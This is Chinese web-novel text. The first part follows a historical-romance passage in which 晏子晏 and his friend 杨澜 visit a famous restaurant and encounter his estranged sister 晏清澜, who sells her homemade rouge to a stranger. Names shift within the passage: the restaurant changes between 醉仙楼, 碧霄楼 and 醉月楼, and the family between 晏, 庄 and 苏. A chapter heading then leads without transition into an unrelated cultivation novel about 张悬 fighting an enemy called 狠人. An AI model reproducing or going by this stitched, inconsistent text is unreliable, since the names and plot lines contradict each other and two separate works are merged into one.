“不对啊,可我听说被揍的是你大哥,难道是消息传错了?”杨澜眉头紧锁,故作惊讶,“还是说,你妹妹把你们兄弟俩都给收拾了?啧,你这位四妹妹,可真是个不简单的人物!” 晏子晏猛地推开他的手,语气烦躁:“滚一边去!小爷我又不像晏景文那个蠢货,她凭什么打我?” “我跟她无冤无仇的,她打我做什么?”他轻哼一声,带着几分不屑,“我可不像晏景文,成天板着一张脸,动不动就训斥人家不知廉耻。” “我在汴京城里可是出了名的风流倜傥,不知道有多少姑娘家暗中倾慕我,哪像他,古板又无趣,活该被人嫌弃。” 杨澜听了这话,顿时愣住了:“不是你四妹妹干的,那还能有谁?” 他原本还想继续调侃几句,可一抬头,却发现晏子晏的眼神中流露出了一丝难以掩饰的失落。 杨澜瞬间明白了过来,他识趣地闭上了嘴,不再追问。 沉默了片刻,杨澜长叹一声,再次伸手搭上晏子晏的肩膀,换上一副哥俩好的语气:“我说子晏,不就是挨了一巴掌嘛,有什么大不了的?看把你给蔫的!” “走,哥哥我今天请你去‘醉仙楼’搓一顿!”他用力拍了拍晏子晏的后背,豪气干云地说道,“咱们今天不醉不归,所有的烦心事都抛到九霄云外去!” 晏子晏愣了一下,随即瞪大了眼睛:“醉仙楼?你订到位子了?” 要知道,醉仙楼可不是寻常的酒楼,那可是汴京城里最负盛名的销金窟,据说连皇亲国戚都得提前一个月才能订到位子。 杨澜这家伙,什么时候有这等本事了? 杨澜得意一笑,故作神秘地凑到晏子晏耳边,压低声音说道:“这事儿啊,说来也巧,还真跟你那四妹妹有点关系。” 他清了清嗓子,继续说道:“前些日子,京城里不是盛传你四妹妹和陆家那位将军一起做了不少善事嘛,还传到了圣上耳朵里。” “结果圣上龙颜大悦,不仅赏赐了他们,还特意下旨,让‘醉仙楼’每日都留出一个雅间,专门招待他们。这消息刚传出来没多久,我就琢磨着,这‘醉仙楼’的东家肯定是个精明人,说不定能从这事儿上做点文章。” “于是我就让人快马加鞭,连夜赶制了一批上好的丝绸,打算捐给城外的流民。你猜怎么着?我今儿个刚把东西送到‘醉仙楼’,掌柜的就告诉我,我之前订的雅间,正好空出来了!”“碧霄楼,走起!” 晏子晏猛地拽起杨澜,扭头就往外冲,脚下生风,恨不得插上翅膀直接飞过去。 他等这一天太久了! 从前钱雅芝管得严,只许他们一家去醉月楼。 醉月楼的菜,他庄小爷吃得舌头都快起茧子了,听到这仨字就反胃! 碧霄楼,那可是京城最顶尖的酒楼,多少人挤破头都订不着位置,一位难求! 今儿个好不容易逮着机会,有冤大头请客,还能白蹭一顿传说中的珍馐美味。他要是不赶紧的,那他就是天字第一号大傻瓜! “哎,我说你慢点儿!” 杨澜冷不丁被他拽了个趔趄,险些一屁股跌地上,新做的衣裳都要被扯坏了。 他揉了揉发酸的胳膊,嘟囔着: “猴急什么?这还没到饭点呢!人家碧霄楼这会儿哪有空着的雅间?再说了——” 他上下打量了晏子晏一番,目光落在他脸上那明晃晃的巴掌印上,嘴角忍不住抽了抽。 “我说庄兄,你就打算顶着这张‘五彩斑斓’的脸去招摇过市?不知道的还以为你刚从哪个染缸里爬出来呢!小爷我这张脸还要不要了?” 杨澜一脸嫌弃地拍了拍晏子晏衣裳上沾的灰,顺带朝他脸上那碍眼的伤痕飞了个白眼。 “赶紧的,先去我家换身行头,再把你这张脸收拾收拾。好不容易逮着去碧霄楼开荤的机会,咱可不能这么跌份儿地出现,平白让人看了笑话!这要是让那些对家看见,指不定怎么编排咱们呢!” 晏子晏想想也是,便应了。 碧霄楼内,雕梁画栋,古色古香,空气里都飘着淡淡的熏香。 晏子晏换上了杨澜备下的松绿锦衣。平日里那股吊儿郎当的纨绔劲儿收敛了几分,人靠衣装,倒也显出几分风流倜傥的翩翩佳公子模样。 他那双生来多情的桃花眼微微上挑,本是随意一瞥,却在目光扫过二楼时,冷不丁定格在一个熟悉的身影上。 那女子一身雪青色衣裙,站在二楼临窗的位置,身姿窈窕,宛如画中走出的仙子。 几个年轻男女正围在她身边,似乎在说笑。其中一个身着锦衣的少年,隐隐将她护在身后,挡住了不少窥探的视线。 晏子晏只能瞧见她的半张侧脸。 可即便如此,他还是一眼就认出了她。 那是……晏清澜?他那四妹妹? 心头像是被什么轻轻撞了一下,有些发懵。 第八十章 “阿清,你可长点儿心吧!以后别一个人出来瞎溜达了!” 宋明澜紧绷着一张俊脸,活像谁欠了他八百两银子似的。他一把将晏清澜拉到自己身侧,挡得严严实实。 他压低了声音,眉头拧成了疙瘩,语气里透着一股子恨铁不成钢的意味。 “你出门前照镜子了吗?你没看到他们投来的目光么?跟饿狼见了肉似的!眼睛都快掉你身上了!” “就是就是,阿清姐姐,你生得这般好看,一个人出门多不安全啊!” 宋溪溪煞有介事地点头附和,小脸上满是担忧。 “还有你!你也给我长点记性,别没事儿就往外跑!” 宋明澜没好气地瞪了她一眼,语气凶巴巴的,活像个老妈子。 “我刚刚替你们挡了多少道目光了?我这容易吗我!” “没事儿,” 宋溪溪浑不在意地撇撇嘴,小脸上带着几分不以为然。 “这光天化日的,还能有人强抢民女不成?真要有那不长眼的,小爷我一拳一个,打得他们满地找牙!” 她说着还比划了一下自己的小拳头。 宋明澜翻了个白眼,懒得理她。 晏清澜无奈地笑了笑,伸手轻轻捏了捏宋溪溪那肉嘟嘟的脸蛋,柔声道: “好啦,我知道你们担心我。不过,也没你们说的那么夸张。” 她顿了顿,又补充了一句: “这世上还是好人多,再说了,就算真遇到什么事,我也不是吃素的。” “左后方,穿绿衣服那小子,从刚才就一直盯着你看呢。” 宋明澜压低声音,飞快地朝某个方向瞥了一眼,语气里带着几分警惕。 “一看就是个不学无术的纨绔子弟,油头粉面的!你回头记着点儿他的脸,下次再碰见,躲着点儿走,别让他给缠上了!” 那家伙,一看就不是什么好东西,八成是看上阿清的美貌了! 他倒不是担心晏清澜吃亏,主要是怕那家伙不知死活地凑上来搭讪,万一惹恼了晏清澜,被她一巴掌拍死了,那可就麻烦了。 晏清澜顺着他指的方向看过去,目光在那人的脸上停留了一瞬。 认出那人是谁后,她微微怔了怔,随即垂下眼帘,遮住了眸中一闪而逝的复杂情绪。 “没事,不用管他。” 晏清澜摇了摇头,语气淡淡的。 “那是我四哥,晏子晏。他呀,巴不得我从他眼前消失呢。” 一个从小到大都对自己视而不见,甚至还纵容别人欺负自己的“好”哥哥,怎么可能会对自己有什么非分之想? “庄家人?呵,原来是那病秧子府上的。” 宋溪溪撇了撇嘴,一脸嫌弃,转头对晏清澜说道 “阿清姐姐,咱们走吧,别让那起子人污了你的眼睛。” 晏清澜点了点头,率先转身朝右边的雅间走去。 宋明澜和宋溪溪紧随其后。 晏子晏站在原地,目光追随着那道渐行渐远的纤细身影,直到再也看不见,才缓缓收回视线。 心中五味杂陈,像是打翻了调料瓶,酸甜苦辣咸,什么滋味都有。 “嘿!我说你小子,魔怔了?人都走没影了,你还看!” 杨澜伸手在他眼前晃了晃, “人家姑娘都被宋明澜挡得严严实实的了,你还看!眼珠子都快掉出来了!不是我说你,人家姑娘是长得跟天仙似的,可你这么盯着人家瞧,也太失礼了吧?万一让人家误会你是个登徒子,那可就跳进黄河也洗不清了!” 晏子晏沉默着,没有说话。 杨澜这下是真的觉得奇怪了。 他跟晏子晏认识这么久,还从没见过他这副失魂落魄的模样。 “晏子晏,你……你不会是看上人家姑娘了吧?” 杨澜试探着问了一句,语气里带着几分戏谑。 “看上你大爷!那是我亲妹妹!” 晏子晏猛地回过神来,抬手就给了杨澜一个爆栗,没好气地骂道,声音都劈叉了。 “亲妹妹?你亲妹妹不是那个成天哭哭啼啼、娇滴滴的晏玥玥吗?” 杨澜捂着脑袋,一脸诧异,脱口而出,完全没意识到自己说错了话。 “她……她是你四妹妹晏清澜?那个传说中倾国倾城、美若天仙的晏清澜?” 杨澜猛地瞪大了眼睛,像是发现了什么新大陆似的,声音都提高了八度。 晏子晏点了点头,算是承认了。 “我的天!晏子晏,你们庄家的人,是不是都眼瞎啊?” 杨澜拽着他朝包厢走去,一边愤愤不平地嚷嚷道, “放着这么个天仙似的亲妹妹不疼,偏偏去疼那个假惺惺、做作得要死的晏玥玥!我要是有这么个妹妹,我把她宠上天都来不及!真是暴殄天物!” 晏子晏张了张嘴,想反驳,却又不知该从何说起。 难道要他说,晏清澜从前病恹恹的,一点也不好看,所以他们才不喜欢她? 还是说,晏玥玥天真可爱,所以他们才更喜欢她? 可是,无论晏清澜从前如何,都不是她应该被忽视、被欺负的理由。 至于晏玥玥…… 晏子晏的嘴角勾起一抹嘲讽的弧度。 她是不是真的天真可爱,恐怕只有她自己心里清楚。 杨澜见晏子晏不说话,也没再继续这个话题,只是摊开手,耸了耸肩: “算了,跟你说这些也没用。反正人家也不稀罕你们庄家那点子虚情假意的疼爱。” 他顿了顿,又补了一句: “人家有陆家护着,还有个厉害的师父,比在你们庄家强多了。”“她如今有兄长,有姐妹,或许……还有视她如珍宝的爹娘,”杨澜呷了口茶,话里透着几分玩世不恭,“苏府于她,怕是早已无足轻重。” 他这人,瞧着不靠谱,实则眼光毒得很。 识人,往往只消一眼,便能洞悉其本质。 晏清澜,显然非寻常女子,不会为无谓之事牵绊。 方才晏清澜回首望向晏子晏的那一眼,他尽收眼底。 无重逢之喜,亦无怨怼之情。 那眼神,淡漠如水,仿佛在看一个无关紧要的过客。 这般眼神,断然不会出现在一个妹妹望向兄长之时。 晏子晏垂下眼帘,指腹无意识地摩挲杯沿。这些,他何尝不知?无需杨澜赘言。 适才宋明澜身形高大,挡住了晏清澜,他未能看清她的面容,只隐约间,捕捉到她抬手轻捏宋溪溪脸颊的动作。 这般亲昵随性,在昔日的苏府,从未得见。 杨澜所订雅间,与晏清澜那间仅一墙之隔。 晏子晏落座之处,恰好能将外间长廊尽收眼底。 晏清澜等人若离去,必经此门,他定能瞧见。 碧霄楼的菜肴,色香味皆为上乘,不负“珍馐”之名。 一眼望去,便令人食指大动。 第八十一章 晏子晏嗜甜,那拔丝甘储,更是一口便甜入心脾。 可不知怎的,他总觉口中苦涩难消。 纵然满桌珍馐,皆是难得的美味。 他却心神不宁,食不知味。 心头,似被那细密的糖丝缠裹,甜腻太过,反倒泛起苦来。 杨澜见他如此,一时竟不知说何是好。 他扫了一眼桌上被晏子晏扫荡过半的佳肴,嘴角微不可察地抽动。 这家伙,吃得比谁都香,却偏摆出一副食不下咽的模样! 他真是昏了头,才会觉着他不对劲。 这人明明好得很,怕是还能再添三碗饭! 晏子晏边吃,边时不时抬眼望向门外。 当一抹雪青色的身影出现,他几乎是本能地放下筷子,如风一般追了出去。 杨澜望着他匆匆离去的背影,无奈摇头。 “早知今日,何必当初?”他叹息,带着几分惋惜,“她已然不在意你这兄长,追出去,又有何用?” 晏子晏急切的脚步,却蓦地顿住,似有千钧之力压在身上,沉重难行。 他看见,宋明澜从袖中取出两件木雕,分赠予宋溪溪与晏清澜。 宋溪溪所得,是一只憨态可掬的玉兔,极得小女儿欢心。 晏清澜手中,则是一只灵动狡黠的狐狸,雕工精湛,栩栩如生。 宋明澜哈欠连天,一副没睡醒的模样,懒洋洋道: “今早散值,路过个小摊贩,瞧着还成,便随手买的,也不知你们可还喜欢。” 宋溪溪笑弯了眉眼,甜甜道:“喜欢极了!大哥待我们最好了!” 晏清澜则略显无奈,宋明澜这分明是把她当孩子哄了。 可这狐狸木雕,的确精巧绝伦,她实在说不出不喜。 她唇角微扬,笑意嫣然:“如此,便谢过大哥了。” 说着,她轻轻晃动手中的小狐狸,举手投足间,尽是少女的娇俏。 宋明澜揉了揉惺忪睡眼,又道: “听闻雅韵坊新出的胭脂水粉,在汴京极是抢手,本想给你们姐妹各捎带一盒。” 语气中带着一丝遗憾: “可惜去迟了,扑了个空。” 为此,他可是在人群里挤得七荤八素,鞋子都被踩掉了好几回。 结果,却是空手而归。 其实排到他时,还剩最后一盒胭脂。 他膝下还有一双妹妹,总不能只买一份回去。 左右为难之下,他干脆放弃,只得下次赶早了。 晏清澜闻言,眼帘低垂,掩去眸中一闪而逝的无奈。 “大哥日后莫要再费这心思了,”她轻声道,“您该知晓,这些东西,我皆可自制。” 让宋明澜花这冤枉钱,去买她做的东西给她用? 晏清澜光是想想,便替宋明澜心疼银子。 宋明澜却不以为然,挑眉道: “那怎能一样?你会制是一回事,大哥想买与你,又是另一回事。” “正如你厨艺冠绝天下,可大哥若是在外头见了新奇吃食,还是会给你带回来尝个鲜。” 宋明澜觉得,断不能因阿清样样精通,他铁公鸡附体分文不出。 他拍了拍胸脯,豪气干云: “尽管放心,大哥旁的不多,就是银子管够,再贵重之物,也买得起。” 宋溪溪深以为然,点头如捣蒜: “是啊,阿清姐姐,你就别替大哥省银子了。” “再说,若事事都由你亲手操持,岂不累坏了?我不愿你太过辛劳,你又不是铁打的身子,总得有个歇息的时候。” 晏清澜一时无言以对。 这并非银钱的问题! 她如何能让宋明澜花大把银子,去买她信手拈来的东西? 正当她思忖着如何劝说时,一个念头闪过。 她自腰间荷包中,取出一只小巧的贝壳状青瓷小罐。 “大哥说的,可是这个?” 原本打算寻个时机,将这批新制的胭脂送去雅韵坊。 眼下,倒是正好派上用场。 宋明澜定睛细瞧,顿时双眼放光: “这……瞧着确有几分相似,你是从何处得来的?” 总不能说,这是我打算送去雅韵坊售卖的新品吧? 晏清澜垂眸,轻声道: “昨儿让夏竹去买的,本想给溪溪添个小玩意儿。” 宋溪溪闻言,小脑袋摇得像拨浪鼓: “我不要!这东西太贵重,阿清姐姐留着自个儿用!” 她想起昨夜之事,愈发坚定了拒绝的念头。 “昨儿阿清姐姐已将那两匹天蚕丝锦赠予我和娘亲,已是破费,这胭脂,万万不能再收了。” 天蚕丝锦还能做成衣裳,加之她与晏清澜身量有别,晏清澜推脱不得,也只得收下。 可这雅韵坊的胭脂,她要如何回赠? 晏清澜见她如此,柔声道: “溪溪乖,听话,收下吧。” 不等宋溪溪再次推拒,一个清脆的声音骤然响起,打断了她们。 “我说二位姐姐,你们就别再推来让去了!” 只见一个身着碧色衣裙,眉眼灵动的姑娘风风火火地跑了过来,目光紧锁晏清澜手中的青瓷小罐。 “这样,我出八百……不,一千两!我愿意花一千两将它收入囊中!” 那姑娘似是下了极大的决心,肉痛不已,却还是咬牙道: “若是二位姐姐还不满意,一千三百两……也不是不能再商量!” 宋溪溪听得目瞪口呆,转头看向晏清澜,声音都有些发颤: “阿,阿清姐姐,这,这么个小东西,夏竹……究竟是花了多少银子买回来的?” 晏清澜默然片刻,轻声吐出几个字:“六百两……上下吧。” 这下,宋溪溪更是不知如何是好了。宋溪溪做梦都没想到,在自家酒楼吃个饭,还能撞见上赶着送钱的。 还是送上门来的! 那位姑娘要花重金买瑶芳膏,她哪能放过这机会? “六百两?!” 宋溪溪听晏清澜报完价,眼珠子都快瞪出来了,她一个箭步冲上前,一把夺过晏清澜手里那精致的青瓷小罐,二话不说就往那姑娘怀里塞。 “一千两,成交!给钱!” 宋溪溪紧紧攥着那姑娘的手腕,生怕人跑了似的,另一只手已经伸出去准备接银票了。 那青衣姑娘也是个爽快的,从荷包里掏银票的时候,眼睛都没眨一下。 “给!” 她还盘算着能还价到一千三呢,没想到这卖家这么实诚! 真是好人呐! 她暗自庆幸,换作他人,没个一千五百两,想都别想! 赚大了! 宋溪溪喜滋滋地捏着那一叠银票,指尖轻颤,脸颊泛红,而那青衣姑娘也美滋滋地捧着瑶芳膏,小心翼翼的模样,像是捧着什么稀世珍宝。 俩人脸上都乐开了花,一个觉得自己血赚,一个觉得自己不亏。 “阿清姐姐,看,赚到啦!” 那姑娘前脚刚走,宋溪溪后脚就把银票拍到了晏清澜手里,小眼神那叫一个得意,就差在脸上写着“快夸我”三个大字了。 第八十二章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 